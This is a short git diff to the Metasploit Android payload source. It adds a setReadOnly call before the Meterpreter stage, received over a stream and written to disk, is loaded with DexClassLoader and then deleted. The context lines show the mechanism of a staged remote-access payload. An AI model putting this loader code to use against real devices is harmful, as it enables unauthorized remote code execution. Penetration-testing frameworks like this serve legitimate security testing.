diff --git a/java/androidpayload/app/src/com/metasploit/stage/Payload.java b/java/androidpayload/app/src/com/metasploit/stage/Payload.java
index 62752d2de..ce1306295 100644
--- a/java/androidpayload/app/src/com/metasploit/stage/Payload.java
+++ b/java/androidpayload/app/src/com/metasploit/stage/Payload.java
@@ -235,6 +235,7 @@ private static void runNextStage(DataInputStream in, OutputStream out, Object[]
             fop.close();
 
             // Load the stage
+            file.setReadOnly();
             DexClassLoader classLoader = new DexClassLoader(jarPath, path, path,
                     Payload.class.getClassLoader());
             Class<?> myClass = classLoader.loadClass(classFile);
diff --git a/java/androidpayload/library/src/androidpayload/stage/Meterpreter.java b/java/androidpayload/library/src/androidpayload/stage/Meterpreter.java
index 6ec5eafe3..7199bb3f4 100644
--- a/java/androidpayload/library/src/androidpayload/stage/Meterpreter.java
+++ b/java/androidpayload/library/src/androidpayload/stage/Meterpreter.java
@@ -42,6 +42,7 @@ public void start(DataInputStream in, OutputStream out, Object[] parameters) thr
         fop.close();
 
         // Load the stage
+        file.setReadOnly();
         DexClassLoader classLoader = new DexClassLoader(filePath, path, path, Meterpreter.class.getClassLoader());
         Class<?> myClass = classLoader.loadClass("com.metasploit.meterpreter.AndroidMeterpreter");
         file.delete();